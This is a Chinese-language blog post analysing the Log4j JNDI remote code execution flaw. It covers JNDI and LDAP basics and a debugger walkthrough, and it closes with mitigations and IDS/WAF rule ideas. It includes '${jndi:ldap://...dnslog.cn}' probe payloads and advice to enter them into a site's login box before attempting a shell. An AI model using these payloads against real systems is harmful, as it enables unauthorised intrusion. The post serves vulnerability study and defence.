漏洞分析-log4j RCE-JAVA篇

0x00 原理分析

log4j的介绍:

log4j是java打印输出日志的一个API,只要引入了log4j的jar包或者是在xml配置文件内配置好log4j即可输入java运行时产生的日志内容,一般用于记录网站的日志信息,比如用户登录、修改用户信息等sql查询操作。列如,在下图中,启动web服务,在lib目录下引入log4j的jar包(API工具包),当用户进行登录时,就能获取到用户的操作日志,如登录查询数据库内的某个表:

 

 当用户输入账号密码时,log4j会打印其debug日志信息,包含账号密码等(这里存在一个信息泄露的风险)

 

 jndi的介绍:

全称:然后介绍一下jndi这个的含义:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目录接口。

用法:jndi:协议://目录(远程服务器的资源),以jndi为分界线,冒号后面的内容是jndi传入的内容,可以这样理解,jndi啥也不是,只是一种规范而已,

比如log4j的logger.error()方法,他是先执行的logger.error方法,然后再到lookup方法的,当传入lookup方法的时候,jndi已经被去掉了,只读取了后面的协议+目录。

 

而在jdbc里,是tomcat创建的上下文去调用的lookup方法,目录的规范就是jndi的规范格式。

 一种协议规范:

 

实战理解:这里需要浅谈一下jndi的使用,配置了很久,实战终于理解了jndi的含义。他原本的作用是规范,比如用数据库连接规范等,就是通过配置,让tomcat提供一个上下文context对象,这个对象可以通过lookup方法设置好目录(而怎么设置目录这里,就是jndi提供的一种规范格式),然后建立与数据库的连接。

(1)servlet代码:

package com.example.day45_jndi;

import java.io.*;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import javax.sql.DataSource;
@WebServlet("/test")
public class HelloServlet extends HttpServlet {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            try {
                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出错,这里要进行导包操作,导入数据库与java的驱动包
                resp.getWriter().println(conn);;
                PreparedStatement ps = conn.prepareStatement("select * from tb_user");
                ResultSet rs = ps.executeQuery();
                resp.getWriter().println(rs.next());
                resp.getWriter().println(rs.getString(1));
                resp.getWriter().println(rs.getString(2));
                resp.getWriter().println(rs.getString(3));
                rs.close();
                conn.close();
            } catch (Exception e) {
                e.printStackTrace();

            }
        }
    }

(2)tomcat的conf目录下的context.xml配置增加:

<Resource 
       name="jdbc/day38" 
       auth="Container" 
       type="javax.sql.DataSource"
       maxActive="100" 
       maxIdle="30" 
       maxWait="10000"
       username="root" 
       password="root" 
       driverClassName="com.mysql.jdbc.Driver"
       url="jdbc:mysql://localhost:3306/day38"
    />

 

 

 (3)web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    <resource-ref>
        <res-ref-name>jdbc/mysql</res-ref-name>
        <res-type>javax.sql.DataSource</res-type>
        <res-auth>Container</res-auth>
    </resource-ref>
</web-app>

 

 (4)容易出错的点:需要导入一个jar包:可以直接在pom.xml中新增依赖

      <dependency>
          <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
          <version>5.1.22</version>
      </dependency>

 

 

 (5)实现的效果:获取数据库的连接对象及执行sql语句进行查询操作:

 

 (6)总结:主要的用法,创建tomcat容器的上下文context,然后通过这个上下文根据目录去实例化一个数据库连接源的对象,再通过这个数据源去创建数据库连接:这里的lookup方法主要就是根据目录去实例化对象用的:

                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出错

总结+1:所以可以这样理解,jndi是一种命名方式,是一种规范,提供给lookup方法或其他方法使用。他不止是可以访问jdbc的目录与服务,还可以访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA等

 

 ldap的介绍:

全称:LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个标准而已。

一种协议:来到ldap就变得更加简单,ldap是一种协议,与rmi的协议类似。都是通过去远程服务器上加载java序列化或反序列化后的对象,然后实例化对象后,方便程序猿在本地调用那个对象的方法。

使用场景:触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用Jndi的Lookup传入值为 ldap://ip:port 。

0x01 效果演示

 

0x02 代码分析

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://5xxxx.dnslog.cn}");
        logger.error("${java:os}");
    }
}

 

 分析的快捷键:

jndi的命名格式,调用方法为lookup。使用快捷键:ctrl+shift+alt+n(我发现好多文章都不写他们怎么调试的,看得头晕眼花,这里标注出来大家可以快速上手),快速查找类中的方法:lookup()

 

然后在此方法处设置断点:debug模式运行java代码:

 

 发现确实存在调用lookup方法:

 

 

 然后调用的lookup方法就会去请求dnslog。(那为什么lookup方法会去请求dnslog呢,代码的分析又是怎么样的呢,这里下篇文章再继续分析。)

 

0x03 实战审计

(1)问题引入假设我们要黑盒测试log4j漏洞,那首先在不知道网站是否使用了log4j组件的情况下,我们可以测试登录框:

如下图所示,在登录框输入:登录名:${jndi:ldap://xxxx.dnslog.cn}、密码随意、验证码输入。

 

 如果响应速度特别慢,就有可能是存在log4j rce,这时先用dnslog进行探测

 

 响应速度特别漫长,存在漏洞的可能性增加:

 

 

 

 发现dnslog存在回显。然后就可以尝试用其他方法getshell了。

(2)这里我们进入代码进行审计分析:存在两处,主要是全局搜索使用了这两个包的servlet接口,然后查看是否使用了looger.error()方法即可。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

 

 

0x04 防御措施

1、采用最新版本的log4j组件

2、恶意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以编写相应规则从流量中签出攻击流量;

3、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

4、修改配置文件log4j2.formatMsgNoLookups=True

5、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

6、关闭不必要的外网请求;

7、禁用lookup或JNDI服务;

8、jdk升级到最新的版本;

0x05 参考文献

https://blog.csdn.net/philip502/article/details/122255346

posted @ 2023-02-19 13:48  铺哩  阅读(1002)  评论(0编辑  收藏  举报